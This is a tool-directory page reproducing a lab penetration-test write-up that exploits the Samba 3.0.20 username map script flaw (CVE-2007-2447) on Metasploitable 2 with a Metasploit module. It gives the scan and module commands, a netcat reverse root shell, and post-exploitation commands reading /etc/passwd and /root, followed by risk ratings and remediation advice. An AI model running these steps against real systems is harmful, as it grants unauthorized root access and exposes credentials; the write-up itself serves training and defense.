Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
metasploitable2-pentest β€” Penetration test for Metasploitable 2 β€” Samba 3.0.20 Username Map Script (CVE-2007-2447) | Kitploit
Tools/GitHubGitHub/malredfan/metasploitable2-pentest
ReconnaissancePort ScanningVulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubmalredfan/metasploitable2-pentest

metasploitable2-pentest

Oct 8, 2026Not yet reviewed
Share

Penetration test for Metasploitable 2 β€” Samba 3.0.20 Username Map Script (CVE-2007-2447)

View Repository

Metasploitable 2 β€” Penetration Test

Samba 3.0.20 Username Map Script β€” CVE-2007-2447


Disclaimer: This is for educational purposes only. All testing was performed in an isolated virtual environment on Metasploitable 2. No real systems were harmed. Do not use these techniques against systems you do not own or have explicit permission to test.


Table of Contents

  • Overview
  • Lab Environment
  • Reconnaissance
  • Port & Service Scan
  • Exploitation
  • Additional Evidence
  • Risk Rating
  • Remediation
  • References
  • Contact

Overview

The objective of this project was to identify and exploit the Samba 3.0.20 username map script vulnerability (CVE-2007-2447) on Metasploitable 2, and to assess the level of access an attacker could gain.

A critical command injection vulnerability was discovered. Successful exploitation granted a remote root-level command shell with no credentials required, allowing full control over the target system.

ItemValue
TargetMetasploitable 2
Target IP192.168.56.101
AttackerKali Linux
Attacker IP192.168.56.102
NetworkHost-Only
CVECVE-2007-2447
CVSS10.0 Critical
Access GainedRoot
AuthenticationNone

Lab Environment

ComponentDetails
Attacker MachineKali Linux (VMware)
Attacker IP192.168.56.102
Target MachineMetasploitable 2 (VMware)
Target IP192.168.56.101
Network TypeHost-Only Network

Tools Used

ToolPurposeVersion
NmapNetwork scanning & port discovery7.99
MetasploitExploitation framework6.5.3-dev
NetcatReverse shell handlerIntegrated

Reconnaissance

nmap -sn 192.168.56.0/24

The scan discovered 4 active hosts, including:

  • Metasploitable 2 β€” 192.168.56.101
  • Kali Linux β€” 192.168.56.102

Nmap Ping Scan


Port & Service Scan

nmap -sV -sC -p- 192.168.56.101
PortProtocolStateServiceVersion
139TCPopennetbios-ssnSamba smbd 3.X - 4.X
445TCPopennetbios-ssnSamba smbd 3.0.20-Debian

ports139&445

Target Service Analysis

Samba is an open-source implementation of the SMB/CIFS protocol. The assigned vulnerability is CVE-2007-2447, affecting Samba version 3.0.20. The username map script option passes unsanitized user input directly to /bin/sh, allowing a remote, unauthenticated attacker to execute arbitrary commands with root privileges via MS-RPC calls.


Exploitation

Step 1 β€” Launch Metasploit

msfconsole

metasploit-startup

Step 2 β€” Select Module

use exploit/multi/samba/usermap_script
info

metasploit-module-info

Step 3 β€” Configure Options

set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
show options

metasploit-config

Step 4 β€” Run Exploit & Verify Access

run
whoami
id
hostname
uname -a

root-shell

Exploitation Result Summary

ItemResult
Exploit Successful?Yes
Access Level GainedRoot
Shell TypeCommand Shell (Netcat)
Target Hostnamemetasploitable
Logged in asroot

Additional Evidence

After gaining root access, the following commands were executed:

cat /etc/passwd
ifconfig
netstat -antp
ps aux
ls -la /root

post-exploitation-passwd post-ifconfig post-exploitation-netstat ps-aux-processes post-exploitation-root-dir


Risk Rating

LevelScoreMeaning
Critical9.0–10.0Remote exploitation, no credentials, full system access
High7.0–8.9Significant damage, some conditions required
Medium4.0–6.9Limited impact, specific configuration required
Low0.1–3.9Minimal impact, difficult to exploit
Info0.0Informational finding, no direct risk

Vulnerability Assessment

ItemValue
CVE ReferenceCVE-2007-2447
CVSS Score10.0 (Critical)
Risk LevelCritical
Attack VectorNetwork
Authentication RequiredNone
Privileges GainedRoot
Impact on ConfidentialityComplete
Impact on IntegrityComplete
Impact on AvailabilityComplete

Why Is This Dangerous?

This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands with root privileges. An attacker does not need valid credentials or user interaction. In a real-world scenario, they could steal sensitive data, modify or delete critical files, install backdoors, and pivot to other systems in the internal network.


Remediation

Immediate Actions (Critical β€” Fix Now)

  • Upgrade Samba to version 3.0.25 or higher.
  • If SMB is not essential, disable the service entirely.
  • Apply the official security patch from Samba or your Linux distribution vendor.
  • Temporarily disable the username map script option in smb.conf if not required.

Short-Term Fixes (Within 1 Month)

  • Restrict access to SMB ports 139 and 445 via firewall.
  • Use network segmentation to isolate critical servers.
  • Enable detailed logging for SMB traffic.
  • Conduct vulnerability scans on all systems running Samba.
  • Harden Samba configuration by removing unnecessary features.

Long-Term Security Improvements

Download Tool

Related Tools

  • amass

    In-depth attack surface mapping and asset discovery

  • subfinder

    Fast passive subdomain enumeration tool.

  • reconftw

    reconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform scanning and finding out vulnerabilities

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    721
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    535
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

Explore all tools

Browse our collection of tools

View all tools β†’